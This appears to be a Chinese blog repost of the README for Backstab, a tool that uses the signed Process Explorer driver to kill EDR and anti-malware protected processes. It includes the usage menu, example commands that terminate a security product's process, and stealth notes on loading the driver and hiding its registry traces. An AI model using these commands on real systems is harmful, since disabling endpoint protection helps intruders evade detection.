一个干掉杀毒软件保护进程的工具 Backstab

作者:Sec-Labs | 发布时间:

Backstab

杀死EDR的保护进程

有这些本地管理凭证,但EDR却挡住了去路?

解除连接或直接系统调用对EDR不起作用?

那么,为什么不直接干掉它呢?

Backstab是一个工具,能够通过利用sysinternals的Process Explorer(ProcExp)驱动程序来杀死受反恶意软件保护的进程,该驱动程序是由微软签署的。

项目地址

https://github.com/Yaxser/Backstab

它能做什么?

Usage: backstab.exe <-n name || -p PID> [options]  
	-n,	Choose process by name, including the .exe suffix
	-p, 	Choose process by PID
	-l, 	List handles of protected process
	-k, 	Kill the protected process by closing its handles
	-x, 	Close a specific handle
	-d, 	Specify path to where ProcExp will be extracted
	-s, 	Specify service name registry key
	-u, 	Unload ProcExp driver
	-a,	adds SeDebugPrivilege
	-h, 	Print this menu

	Examples:
	backstab.exe -n cyserver.exe -k 			[kill cyserver]
	backstab.exe -n cyserver.exe -x E4C 		[Close handle E4C of cyserver]
	backstab.exe -n cyserver.exe -l 			[list all handles of cyserver]
	backstab.exe -p 4326 -k -d c:\\driver.sys 	[kill protected process with PID 4326, extract ProcExp driver to C:\ drive]

这怎么可能呢?

ProcExp有一个签名的内核驱动程序,它在启动时加载,这使得它可以杀死那些即使以管理员身份也不能杀死的句柄。当你使用用户界面时,你不能杀死一个受保护的进程,但你可以杀死它的句柄,因为ProcExp用户界面指示内核驱动程序杀死这些句柄。Backstab做同样的事情,但没有UI元素。

操作安全(OpSec)

以下是对所发生的事情的简要介绍

  • 嵌入式驱动程序被丢到磁盘上
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下的注册表键被创建。
  • 获得了SE_PRIVILEGE_ENABLED权限,因为它是加载驱动程序所必需的。
  • 使用NtLoadDriver加载驱动程序以避免创建服务
  • 创建的注册表键被删除(服务在执行期间不可见)。
  • 通过使用DeviceIoControl与驱动程序进行通信。
  • 对于手柄的枚举,调用NtQuerySystemInformation。


你还应该知道的是

  • 该工具的行为模仿了ProcExp的行为。ProcExp把驱动程序放到磁盘上,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下创建注册表键,调用NtLoadDriver,然后删除注册表键。
  • 你可以指定驱动被丢弃的位置和服务名称。
  • 完成后,应用程序将卸载驱动程序。卸载驱动程序的方法是首先重新创建注册表键,然后调用NtUnloadDriver。
  • 加载的驱动程序由MS签名。
  • 该进程并不试图直接杀死受保护的进程句柄,它指示ProcExp驱动杀死它们。你不会被指控试图篡改任何进程。

 

标签:工具分享, 主机安全